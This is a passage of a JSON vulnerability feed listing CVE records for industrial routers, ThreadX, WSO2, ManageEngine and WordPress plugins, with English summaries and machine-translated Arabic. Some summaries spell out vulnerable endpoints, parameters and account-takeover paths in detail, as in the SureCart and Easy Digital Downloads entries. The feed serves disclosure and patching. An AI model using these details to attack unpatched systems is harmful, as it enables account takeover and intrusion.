(root)."},"refs":[["https://www.certvde.com/en/advisories/VDE-2026-119/","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"welotec-tk100"},{"id":"CVE-2026-105981","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T08:59:52Z","product":"Welotec TK100","affected":[["0.0.0 – <3.5.116","3.5.116"],["0.0.0 – <1.0.124","1.0.124"],["0.0.0 – <1.0.123","1.0.123"]],"title":{"en":"Command Injection in Digital I/O","ar":"حقن الأوامر في Digital I/O"},"summary":{"en":"Improper input validation in the Digital I/O function may allow a remote attacker with high privileges to inject operating system commands and execute them with root privileges.","ar":"قد يتيح التحقق غير السليم من المدخلات في وظيفة Digital I/O لمهاجم عن بُعد يملك صلاحيات عالية حقن أوامر نظام التشغيل وتنفيذها بصلاحيات الجذر (root)."},"refs":[["https://www.certvde.com/en/advisories/VDE-2026-119/","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"welotec-tk100"},{"id":"CVE-2026-105980","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T08:59:03Z","product":"Welotec TK100","affected":[["0.0.0 – <3.5.116","3.5.116"],["0.0.0 – <1.0.124","1.0.124"],["0.0.0 – <1.0.123","1.0.123"]],"title":{"en":"Command Injection in WireGuard VPN","ar":"حقن الأوامر في WireGuard VPN"},"summary":{"en":"Improper input validation in the WireGuard VPN function may allow a remote attacker with high privileges to inject system commands and execute them with root privileges.","ar":"قد يتيح التحقق غير السليم من المدخلات في وظيفة WireGuard VPN لمهاجم عن بُعد يملك صلاحيات عالية حقن أوامر النظام وتنفيذها بصلاحيات الجذر (root)."},"refs":[["https://www.certvde.com/en/advisories/VDE-2026-119/","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"welotec-tk100"},{"id":"CVE-2026-105979","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T08:58:40Z","product":"Welotec TK100","affected":[["0.0.0 – <3.5.116","3.5.116"],["0.0.0 – <1.0.124","1.0.124"],["0.0.0 – <1.0.123","1.0.123"]],"title":{"en":"Command Injection in ZeroTier VPN","ar":"حقن الأوامر في ZeroTier VPN"},"summary":{"en":"Improper input validation in the ZeroTier VPN function may allow a remote attacker with high privileges to inject system commands and execute them with root privileges.","ar":"قد يتيح التحقق غير السليم من المدخلات في وظيفة ZeroTier VPN لمهاجم عن بُعد يملك صلاحيات عالية حقن أوامر النظام وتنفيذها بصلاحيات الجذر (root)."},"refs":[["https://www.certvde.com/en/advisories/VDE-2026-119/","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"welotec-tk100"},{"id":"CVE-2026-105978","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T08:58:17Z","product":"Welotec TK100","affected":[["0.0.0 – <3.5.116","3.5.116"],["0.0.0 – <1.0.124","1.0.124"],["0.0.0 – <1.0.123","1.0.123"]],"title":{"en":"Command Injection in Management Control Functions","ar":"حقن الأوامر في وظائف التحكم الإداري"},"summary":{"en":"Improper input validation in management control functions may allow a remote attacker with high privileges to inject operating system commands and execute them with root privileges.","ar":"قد يسمح التحقق غير السليم من المدخلات في وظائف التحكم الإداري لمهاجم عن بُعد يملك صلاحيات عالية بحقن أوامر نظام التشغيل وتنفيذها بصلاحيات الجذر root."},"refs":[["https://www.certvde.com/en/advisories/VDE-2026-119/","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"welotec-tk100"},{"id":"CVE-2026-121022","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-1393","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T08:46:13Z","product":"AxxonSoft Axxon One","affected":[["0 – <3.0.0","3.0.0"]],"title":{"en":"Default Administrator Password Change Not Enforced in Axxon One Web Client","ar":"عدم فرض تغيير كلمة مرور المدير الافتراضية في عميل الويب Axxon One"},"summary":{"en":"Use of Default Password (CWE-1393) in the web client in AxxonSoft Axxon One before 3.0.0 on Windows and Linux allows a remote unauthenticated attacker to log in as the built-in administrator with the default credentials on a newly installed system, because the web client did not enforce the mandatory change of the default password on first login.","ar":"يؤدي استخدام كلمة المرور الافتراضية (CWE-1393) في عميل الويب لنظام AxxonSoft Axxon One الذي يسبق الإصدار 3.0.0 على أنظمة Windows وLinux إلى السماح لمهاجم عن بُعد دون مصادقة بتسجيل الدخول بصفتها حساب المدير المدمج باستخدام بيانات الاعتماد الافتراضية على نظام مثبت حديثاً، وذلك لأن عميل الويب لم يفرض التغيير الإلزامي لكلمة المرور الافتراضية عند تسجيل الدخول الأول."},"refs":[["https://www.axxonsoft.com/legal/axxonsoft-vulnerability-disclosure-policy/security-advisories#CVE-2026-121022","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"axxonsoft-axxon-one"},{"id":"CVE-2026-113421","cvss":7.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T08:27:59Z","product":"Eclipse Foundation Eclipse ThreadX","affected":[["6.0.1 – 6.5.2.202603",null]],"title":{"en":"ThreadX Modules invokes trace-full callbacks after module unload","ar":"تقوم ThreadX Modules باستدعاء عمليات رد النداء trace-full بعد إلغاء تحميل الوحدة"},"summary":{"en":"In Eclipse ThreadX versions 6.0.1 through 6.5.2.202603, ThreadX Modules does not revoke a module's trace-buffer-full callback when the module is stopped and unloaded. With event tracing enabled and a kernel-owned trace buffer still active, a later buffer wrap invokes the callback from privileged thread context after the module's code has been released, so a user-mode module can have its code run with kernel privileges after unload, or, once the memory is reused, redirect control flow or cause a fault.","ar":"في إصدارات Eclipse ThreadX من 6.0.1 حتى 6.5.2.202603، لا تلغي ThreadX Modules استدعاء رد النداء trace-buffer-full الخاص بالوحدة عند إيقاف الوحدة وإلغاء تحميلها. ومع تمكين تتبع الأحداث وبقاء مخزن التتبع المؤقت المملوك للنواة نشطًا، يؤدي التفاف المخزن المؤقت لاحقًا إلى استدعاء رد النداء من سياق مسار تنفيذ ممتاز بعد تحرير شيفرة الوحدة، مما يتيح لوحدة بنمط المستخدم تشغيل شيفرتها بصلاحيات النواة بعد إلغاء التحميل، أو إعادة توجيه تدفق التحكم أو التسبب في خطأ بمجرد إعادة استخدام الذاكرة."},"refs":[["https://github.com/eclipse-threadx/threadx/security/advisories/GHSA-8pgj-qvjv-j4fq","ref"],["https://gitlab.eclipse.org/security/cve-assignment/-/work_items/457","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"eclipse-foundation-eclipse-threadx"},{"id":"CVE-2026-115231","cvss":8.5,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-269","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T08:23:02Z","product":"Eclipse Foundation Eclipse ThreadX","affected":[["6.0.1 – 6.5.2.202603",null]],"title":{"en":"User-mode module can post forged callback requests to another module's callback queue, running its code with that module's privilege","ar":"يمكن لوحدة بنمط المستخدم إرسال طلبات رد نداء مزورة إلى قائمة انتظار طلبات رد النداء الخاصة بوحدة أخرى، مما يعطي إمكانية تشغيل شيفرتها بصلاحيات تلك الوحدة"},"summary":{"en":"In Eclipse ThreadX versions 6.0.1 through 6.5.2.202603, the Module Manager lets a user-mode, memory-protected module post a forged callback request to another module's callback request queue. The receiving module's callback thread calls the function pointer in the request without checking that the Module Manager sent it, so the attacker's code runs with the receiving module's privilege; when that module runs in privileged mode, a user-mode module gains privileged execution.","ar":"في إصدارات Eclipse ThreadX من 6.0.1 حتى 6.5.2.202603، يسمح Module Manager لوحدة بنمط المستخدم ومحمية الذاكرة بنشر طلب رد نداء مزور إلى قائمة انتظار طلبات رد النداء الخاصة بوحدة أخرى. وينادي مسار تنفيذ رد النداء للوحدة المستلمة مؤشر الدالة الموجود في الطلب دون التحقق من أن Module Manager هو من أرسله، مما يؤدي إلى تشغيل شيفرة المهاجم بصلاحيات الوحدة المستلمة؛ وعندما تعمل تلك الوحدة في النمط الممتاز، تكتسب وحدة نمط المستخدم إمكانية التنفيذ الممتاز."},"refs":[["https://github.com/eclipse-threadx/threadx/security/advisories/GHSA-q2rc-f35r-2hw6","ref"],["https://gitlab.eclipse.org/security/cve-assignment/-/work_items/484","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"eclipse-foundation-eclipse-threadx"},{"id":"CVE-2026-4052","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T08:02:33Z","product":"WSO2 WSO2 API Manager","affected":[["0 – <1.8.8","1.8.8"]],"title":{"en":"Privilege Escalation via Token Endpoint in WSO2 API Manager (APIM 4.x/IS as Resident Key Manager)","ar":"تصعيد الصلاحيات عبر Token Endpoint في WSO2 API Manager (APIM 4.x/IS كـ Resident Key Manager)"},"summary":{"en":"This issue only impacts deployments where WSO2 Identity Server is configured as a Resident Key Manager with database sharing. In such environments, a self-registered user may gain access to the System REST APIs of WSO2 API Manager by obtaining a token from the WSO2 Identity Server token endpoint.","ar":"لا تؤثر هذه المشكلة إلا على بيئات التشغيل التي تم فيها إعداد WSO2 Identity Server كـ Resident Key Manager مع مشاركة قاعدة البيانات. في مثل هذه البيئات، قد يتمكن مستخدم مسجل ذاتيًا من الوصول إلى System REST APIs الخاصة بـ WSO2 API Manager من خلال الحصول على رمز من token endpoint لـ WSO2 Identity Server."},"refs":[["https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2026/WSO2-2026-5212/","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wso2-api-manager"},{"id":"CVE-2026-16900","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T07:39:46Z","product":"Zohocorp Log360","affected":[["0 – <13071","13071"]],"title":{"en":"Authentication Bypass","ar":"تجاوز المصادقة"},"summary":{"en":"Zohocorp ManageEngine Log360 and EventLog Analyzer versions 13071 and below are vulnerable to an authentication bypass in local collector registration, allowing unauthenticated actor to register a local collector by sending a specially crafted registration request.","ar":"إصدارات Zohocorp ManageEngine Log360 و EventLog Analyzer 13071 وما دونها عرضة لتجاوز المصادقة في تسجيل الجامع المحلي، مما يسمح لمهاجم دون مصادقة بتسجيل جامع محلي عن طريق إرسال طلب تسجيل مصمم خصيصاً."},"refs":[["https://www.manageengine.com/products/eventlog/advisory/CVE-2026-16900.html","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zohocorp-log360"},{"id":"CVE-2026-13594","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T07:29:10Z","product":"Zohocorp Log360","affected":[["0 – <13062","13062"]],"title":{"en":"Improper Access Control vulnerability","ar":"ثغرة تحكم غير سليم في الوصول"},"summary":{"en":"Zoho Corporation's ManageEngine Log360 and EventLog Analyzer versions 13062 and below are vulnerable to an issue that could allow an adversary to gain unauthorized access to the product.","ar":"تعد إصدارات ManageEngine Log360 و EventLog Analyzer من Zoho Corporation 13062 وما دونها عرضة لمشكلة قد تسمح للمهاجم بالحصول على وصول غير مصرح به إلى المنتج."},"refs":[["https://www.manageengine.com/products/eventlog/advisory/CVE-2026-13594.html","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zohocorp-log360"},{"id":"CVE-2026-77800","cvss":7.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L","cwe":"CWE-304","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T05:18:52Z","product":"Zohocorp ManageEngine Key Manager Plus","affected":[["0 – <7151","7151"]],"title":{"en":"Authentication bypass vulnerability","ar":"ثغرة تجاوز المصادقة"},"summary":{"en":"ManageEngine Key Manager Plus versions before 7151 are vulnerable to a SAML authentication bypass that allows attackers to log in using SAML assertions meant for another service provider.","ar":"إصدارات ManageEngine Key Manager Plus السابقة لـ 7151 مصابة بثغرة تجاوز مصادقة SAML تتيح للمهاجمين تسجيل الدخول باستخدام تأكيدات SAML المخصصة لمزود خدمة آخر."},"refs":[["https://www.manageengine.com/key-manager/advisory/cve-2026-77800.html","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zohocorp-manageengine-key-manager-plus"},{"id":"CVE-2026-120577","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-22","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T05:18:34Z","product":"wpmanageninja FluentCart A New Era of eCommerce – Faster, Lighter, and Simpler","affected":[["0 – 1.6.2",null]],"title":{"en":"FluentCart A New Era of eCommerce <= 1.6.2 - Authenticated (Custom+) Arbitrary File Deletion via 'file_path' Parameter","ar":"إضافة FluentCart A New Era of eCommerce <= 1.6.2 - حذف ملفات عشوائية بصلاحيات (مستخدم مصادق ذو صلاحيات مخصصة فأعلى) عبر معامل 'file_path'"},"summary":{"en":"The FluentCart A New Era of eCommerce – Faster, Lighter, and Simpler plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the deleteFile function in all versions up to, and including, 1.6.2. This makes it possible for authenticated attackers, with custom-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).","ar":"إضافة FluentCart A New Era of eCommerce – Faster, Lighter, and Simpler لنظام WordPress مصابة بثغرة حذف ملفات عشوائية بسبب التحقق غير الكافي من مسار الملف في دالة deleteFile في جميع الإصدارات حتى 1.6.2 ضمناً. يتيح هذا للمهاجمين الذين يملكون حسابًا مصادقًا عليه بصلاحيات مستوى مخصص فأعلى حذف ملفات عشوائية على الخادم، مما قد يؤدي بسهولة إلى تنفيذ أوامر عن بُعد عند حذف الملف المناسب (مثل wp-config.php)."},"refs":[["https://plugins.trac.wordpress.org/browser/fluent-cart/tags/1.6.2/app/Http/Controllers/FileUploadController.php#L141","ref"],["https://plugins.trac.wordpress.org/browser/fluent-cart/tags/1.6.2/app/Http/Routes/api.php#L832","ref"],["https://plugins.trac.wordpress.org/browser/fluent-cart/tags/1.6.2/app/Services/FileSystem/Drivers/Local/LocalDriver.php#L243","ref"],["https://plugins.trac.wordpress.org/changeset?reponame=&old=3661075%40fluent-cart&new=3661075%40fluent-cart","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/f20ead74-6db0-4bd2-82f6-0eb792288d70?source=cve","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wpmanageninja-fluentcart-a-new-era-of-ecommerce"},{"id":"CVE-2026-120558","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T05:18:33Z","product":"zorem Advanced Shipment Tracking for WooCommerce","affected":[["0 – 3.9",null]],"title":{"en":"Advanced Shipment Tracking for WooCommerce <= 3.9 - Authenticated (Shop Manager+) SQL Injection via 'tracking_provider' Parameter","ar":"إضافة Advanced Shipment Tracking for WooCommerce <= 3.9 - حقن SQL بصلاحيات (مدير متجر فأعلى) عبر معامل 'tracking_provider'"},"summary":{"en":"The Advanced Shipment Tracking for WooCommerce plugin for WordPress is vulnerable to SQL Injection via the `tracking_provider` parameter of the `POST /wp-json/wc-ast/v3/orders/<order_id>/shipment-trackings` REST endpoint in all versions up to, and including, 3.9. This is due to insufficient escaping on the user-supplied parameter and lack of sufficient preparation on the existing SQL query in `WC_Advanced_Shipment_Tracking_Admin::get_provider_slug_from_name()` — the value is concatenated directly into the format string of `$wpdb->prepare()` rather than bound as a parameter, bypassing parameterised-query protections. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to append additional SQL queries into the already-existing query that can be used to extract sensitive information from the database.","ar":"إضافة Advanced Shipment Tracking for WooCommerce لنظام WordPress مصابة بثغرة حقن SQL عبر معامل `tracking_provider` في نقطة نهاية REST المتمثلة في `POST /wp-json/wc-ast/v3/orders/<order_id>/shipment-trackings` في جميع الإصدارات حتى 3.9 ضمناً. يعود هذا إلى عدم كفاية التنقية على المعامل المُقدّم من المستخدم ونقص الإعداد الكافي في استعلام SQL الحالي ضمن `WC_Advanced_Shipment_Tracking_Admin::get_provider_slug_from_name()`، حيث تُدمج القيمة مباشرة في سلسلة تنسيق دالة `$wpdb->prepare()` بدلاً من ربطها كمعامل، مما يتجاوز حماية الاستعلامات المُعاملة. يتيح هذا للمهاجمين الذين يملكون حسابًا مصادقًا عليه بصلاحيات مدير متجر فأعلى إلحاق استعلامات SQL إضافية بالاستعلام الحالي لاستخراج معلومات حساسة من قاعدة البيانات."},"refs":[["https://plugins.trac.wordpress.org/browser/woo-advanced-shipment-tracking/tags/3.9.1/includes/api/class-wc-advanced-shipment-tracking-rest-api-controller.php#L116","ref"],["https://plugins.trac.wordpress.org/browser/woo-advanced-shipment-tracking/tags/3.9.1/includes/api/class-wc-advanced-shipment-tracking-rest-api-controller.php#L224","ref"],["https://plugins.trac.wordpress.org/browser/woo-advanced-shipment-tracking/tags/3.9.1/includes/class-wc-advanced-shipment-tracking-admin.php#L2144","ref"],["https://plugins.trac.wordpress.org/browser/woo-advanced-shipment-tracking/tags/3.9/includes/class-wc-advanced-shipment-tracking-admin.php#L2131","ref"],["https://plugins.trac.wordpress.org/changeset?reponame=&new=3495394%40woo-advanced-shipment-tracking%2Ftrunk&old=3457814%40woo-advanced-shipment-tracking%2Ftrunk","ref"],["https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3457832%40woo-advanced-shipment-tracking&new=3495394%40woo-advanced-shipment-tracking","ref"],["https://wordpress.org/plugins/woo-advanced-shipment-tracking/","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/76fb0ffd-32c1-483d-ae95-9bc70ba1c064?source=cve","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zorem-advanced-shipment-tracking-for-woocommerce"},{"id":"CVE-2026-120559","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-22","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T05:18:33Z","product":"satindersingh Contact Form Extender for Divi – Submissions DB & Extra Fields","affected":[["0 – 1.0.6",null]],"title":{"en":"Contact Form Extender for Divi Builder <= 1.0.6 - Unauthenticated Arbitrary File Deletion via Path Traversal","ar":"إضافة Contact Form Extender for Divi Builder <= 1.0.6 - حذف ملفات عشوائية دون مصادقة عبر اجتياز المسار"},"summary":{"en":"The Contact Form Extender for Divi Builder plugin for WordPress is vulnerable to Arbitrary File Deletion due to insufficient file path validation in the cfefd_remove_uploaded_file() function in all versions up to, and including, 1.0.6. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). The nonce protecting this AJAX action is rendered into the public page source via wp_localize_script and is therefore retrievable by any unauthenticated visitor.","ar":"إضافة Contact Form Extender for Divi Builder لنظام WordPress مصابة بثغرة حذف ملفات عشوائية بسبب التحقق غير الكافي من مسار الملف في دالة cfefd_remove_uploaded_file() في جميع الإصدارات حتى 1.0.6 ضمناً. يتيح هذا للمهاجمين دون مصادقة حذف ملفات عشوائية على الخادم، مما قد يؤدي بسهولة إلى تنفيذ أوامر عن بُعد عند حذف الملف المناسب (مثل wp-config.php). يتم تضمين رمز التحقق (nonce) الذي يحمي إجراء AJAX هذا في مصدر الصفحة العامة عبر wp_localize_script وبالتالي يمكن استرجاعه بواسطة أي زائر دون مصادقة."},"refs":[["https://plugins.trac.wordpress.org/browser/contact-form-extender-for-divi-builder/tags/1.0.3/includes/module/addons/divi-4/file-upload/class-cfefd-file-upload-ajax.php#L159","ref"],["https://plugins.trac.wordpress.org/browser/contact-form-extender-for-divi-builder/tags/1.0.3/includes/module/addons/divi-4/file-upload/class-cfefd-file-upload-ajax.php#L18","ref"],["https://plugins.trac.wordpress.org/browser/contact-form-extender-for-divi-builder/tags/1.0.7/includes/module/addons/divi-4/file-upload/class-cfefd-file-upload-ajax.php#L166","ref"],["https://plugins.trac.wordpress.org/changeset?old_path=contact-form-extender-for-divi-builder%2Ftags%2F1.0.6&new_path=contact-form-extender-for-divi-builder%2Ftags%2F1.0.7","ref"],["https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3499767%40contact-form-extender-for-divi-builder%2Ftrunk&old=3499766%40contact-form-extender-for-divi-builder%2Ftrunk&sfp_email=&sfph_mail=","ref"],["https://wordpress.org/plugins/contact-form-extender-for-divi-builder/#developers","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/7bbead7c-47b9-473f-b335-6fae4b5998d6?source=cve","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"satindersingh-contact-form-extender-for-divi"},{"id":"CVE-2026-120574","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T05:18:33Z","product":"surecart SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads…","affected":[["0 – 4.9.5",null]],"title":{"en":"SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments <= 4.9.5 - Unauthenticated Account Takeover","ar":"إضافة SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments <= 4.9.5 - الاستحواذ على الحساب دون مصادقة"},"summary":{"en":"The SureCart plugin for WordPress is vulnerable to unauthenticated account takeover in all versions up to, and including, 4.9.5. The passwordless one-time-code login REST route (VerificationCodeController::verify(), whose permission callback returns true) resolves an attacker-supplied login to any WordPress user, verifies a 6-digit code, and on success calls $user->login() → wp_set_auth_cookie() for a user of any role. In the affected versions this path has no per-account attempt counter, no persistent email/IP lockout or rate limit (the upstream CDN throttle is bypassable via IP rotation), and no restriction preventing high-privilege accounts from being logged in through it. An unauthenticated attacker can trigger a code for any user (including an administrator) via the companion unauthenticated endpoint and brute-force the 6-digit code to obtain an authenticated session as that user, resulting in a full administrator account takeover.","ar":"إضافة SureCart لنظام WordPress مصابة بثغرة الاستحواذ على الحساب دون مصادقة في جميع الإصدارات حتى 4.9.5 ضمناً. يقوم مسار توجيه REST لتسجيل الدخول برمز لمرة واحدة بدون كلمة مرور (دالة VerificationCodeController::verify()، التي تُرجع دالة رد الأذونات الخاصة بها القيمة true) بربط تسجيل الدخول المُقدّم من المهاجم بأي مستخدم في WordPress، ويتحقق من رمز مكون من 6 أرقام، وعند النجاح يستدعي دالة $user->login() و wp_set_auth_cookie() لمستخدم بأي دور. في الإصدارات المصابة، لا يحتوي هذا المسار على عداد محاولات لكل حساب، أو قفل مستمر للبريد الإلكتروني/عنوان IP، أو حد معدل (يمكن تجاوز ميزة تقييد شبكة توصيل المحتوى عبر تدوير عناوين IP)، ولا توجد قيود تمنع تسجيل الدخول إلى الحسابات ذات الصلاحيات العالية من خلاله. يمكن لمهاجم دون مصادقة تشغيل رمز لأي مستخدم (بما في ذلك المسؤول) عبر نقطة النهاية المصاحبة التي لا تتطلب مصادقة، وتخمين الرمز المكون من 6 أرقام بالقوة الغاشمة للحصول على جلسة مصادق عليها بصفتهم ذلك المستخدم، مما ينتج عنه الاستحواذ الكامل على حساب المسؤول."},"refs":[["https://plugins.svn.wordpress.org/surecart/trunk/app/src/Controllers/Rest/VerificationCodeController.php","ref"],["https://plugins.svn.wordpress.org/surecart/trunk/app/src/Models/User.php","ref"],["https://plugins.svn.wordpress.org/surecart/trunk/app/src/Rest/VerificationCodeRestServiceProvider.php","ref"],["https://wordpress.org/plugins/surecart/#developers","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/dffdcaa2-5100-48f5-9b82-e22075fd87e5?source=cve","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"surecart"},{"id":"CVE-2026-120538","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T05:18:32Z","product":"smub Easy Digital Downloads – eCommerce Payments and Subscriptions made easy","affected":[["0 – 3.7.2",null]],"title":{"en":"Easy Digital Downloads <= 3.7.2 - Unauthenticated Authentication Bypass to Administrator Account Takeover via Guest Checkout Email Binding at PayPal Capture","ar":"إضافة Easy Digital Downloads <= 3.7.2 - تجاوز المصادقة للاستحواذ على حساب المسؤول عبر ربط بريد الدفع كضيف عند التقاط الدفع في PayPal"},"summary":{"en":"The Easy Digital Downloads plugin for WordPress is vulnerable to authentication bypass leading to administrator account takeover in all versions up to, and including, 3.7.2. During a PayPal guest checkout, the email address entered in the guest-checkout field is trusted as proof of identity: edd_get_purchase_form_user() binds the new guest order to an existing WordPress user purely on an email-address match, rewriting the order's user_id to that user's ID. The PayPal capture sink PurchaseUser::maybe_log_in_after_capture() then looked the user up by the order email (get_user_by( 'email', $order->email )) and, when $order->user_id equalled that user's ID (which the email-binding step guarantees), issued an authenticated session with wp_set_auth_cookie(). An unauthenticated attacker who starts a guest checkout using an administrator's email address (where that administrator has no existing EDD customer record) and completes the PayPal purchase flow therefore receives an authenticated session as that administrator — a full account takeover. The same sink is reachable through the standard PayPal checkout and the REST UnbrandedCard and Fastlane flows.","ar":"إضافة Easy Digital Downloads لنظام WordPress مصابة بثغرة تجاوز المصادقة التي تؤدي إلى الاستحواذ على حساب المسؤول في جميع الإصدارات حتى 3.7.2 ضمناً. أثناء عملية الدفع كضيف عبر PayPal، يتم الوثوق بعنوان البريد الإلكتروني المُدخل في حقل الدفع كضيف كدليل على الهوية: تقوم دالة edd_get_purchase_form_user() بربط طلب الضيف الجديد بمستخدم موجود في WordPress بناءً على تطابق عنوان البريد الإلكتروني حصرياً، وإعادة كتابة مُعرف المستخدم الخاص بالطلب (user_id) إلى مُعرف ذلك المستخدم. بعد ذلك، تقوم دالة التقاط الدفع PurchaseUser::maybe_log_in_after_capture() بالبحث عن المستخدم عبر بريد الطلب الإلكتروني (get_user_by('email', $order->email))، وعندما يتطابق $order->user_id مع مُعرف ذلك المستخدم (وهو ما يضمنه خطوة ربط البريد الإلكتروني)، فإنها تُصدر جلسة مصادق عليها باستخدام wp_set_auth_cookie(). وعليه، فإن المهاجم دون مصادقة الذي يبدأ عملية الدفع كضيف باستخدام بريد إلكتروني خاص بمسؤول (حيث لا يملك هذا المسؤول سجل عميل حالي في EDD) ويُكمل تدفق الشراء عبر PayPal يتلقى جلسة مصادق عليها بصفته ذلك المسؤول، وهو ما يمثل الاستحواذ الكامل على الحساب. يمكن الوصول إلى نقطة الالتقاط نفسها عبر تدفقات الدفع القياسية لـ PayPal وتدفقات UnbrandedCard وFastlane في 